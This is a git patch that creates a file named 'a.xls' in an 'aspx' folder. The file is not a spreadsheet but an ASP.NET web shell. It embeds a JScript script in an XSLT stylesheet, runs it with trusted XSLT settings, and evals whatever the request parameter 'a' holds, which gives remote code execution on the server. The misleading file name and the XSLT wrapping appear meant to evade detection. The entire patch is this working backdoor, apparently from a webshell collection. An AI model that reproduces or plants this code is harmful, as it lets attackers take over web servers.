From 83a89c396edb49a1ecec7b7fd33ea1ca4dd42e75 Mon Sep 17 00:00:00 2001
From: tennc <tennc@126.com>
Date: Mon, 17 Feb 2020 15:27:30 +0800
Subject: [PATCH] Create a.xls

---
 aspx/a.xls | 53 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 53 insertions(+)
 create mode 100644 aspx/a.xls

diff --git a/aspx/a.xls b/aspx/a.xls
new file mode 100644
index 0000000..42d4f62
--- /dev/null
+++ b/aspx/a.xls
@@ -0,0 +1,53 @@
+<%@ Page Language="C#" Debug="true" %>
+
+<%@ import Namespace="System.IO"%>
+
+<%@ import Namespace="System.Xml"%>
+
+<%@ import Namespace="System.Xml.Xsl"%>
+
+<%
+
+string xml=@"<?xml version=""1.0""?><root>test</root>";
+
+string xslt=@"<?xml version='1.0'?>
+
+<xsl:stylesheet version=""1.0"" xmlns:xsl=""http://www.w3.org/1999/XSL/Transform"" xmlns:msxsl=""urn:schemas-microsoft-com:xslt"" xmlns:zcg=""zcgonvh"">
+
+    <msxsl:script language=""JScript"" implements-prefix=""zcg"">
+
+        <msxsl:assembly name=""mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
+
+        <msxsl:assembly name=""System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089""/>
+
+        <msxsl:assembly name=""System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
+
+        <msxsl:assembly name=""System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""/>
+
+        <![CDATA[function xml() {var c=System.Web.HttpContext.Current;var Request=c.Request;var Response=c.Response;var Server=c.Server;eval(Request.Item['a'],'unsafe');Response.End();}]]>
+
+    </msxsl:script>
+
+<xsl:template match=""/root"">
+
+    <xsl:value-of select=""zcg:xml()""/>
+
+</xsl:template>
+
+</xsl:stylesheet>";
+
+XmlDocument xmldoc=new XmlDocument();
+
+xmldoc.LoadXml(xml);
+
+XmlDocument xsldoc=new XmlDocument();
+
+xsldoc.LoadXml(xslt);
+
+XslCompiledTransform xct=new XslCompiledTransform();
+
+xct.Load(xsldoc,XsltSettings.TrustedXslt,new XmlUrlResolver());
+
+xct.Transform(xmldoc,null,new MemoryStream());
+
+%>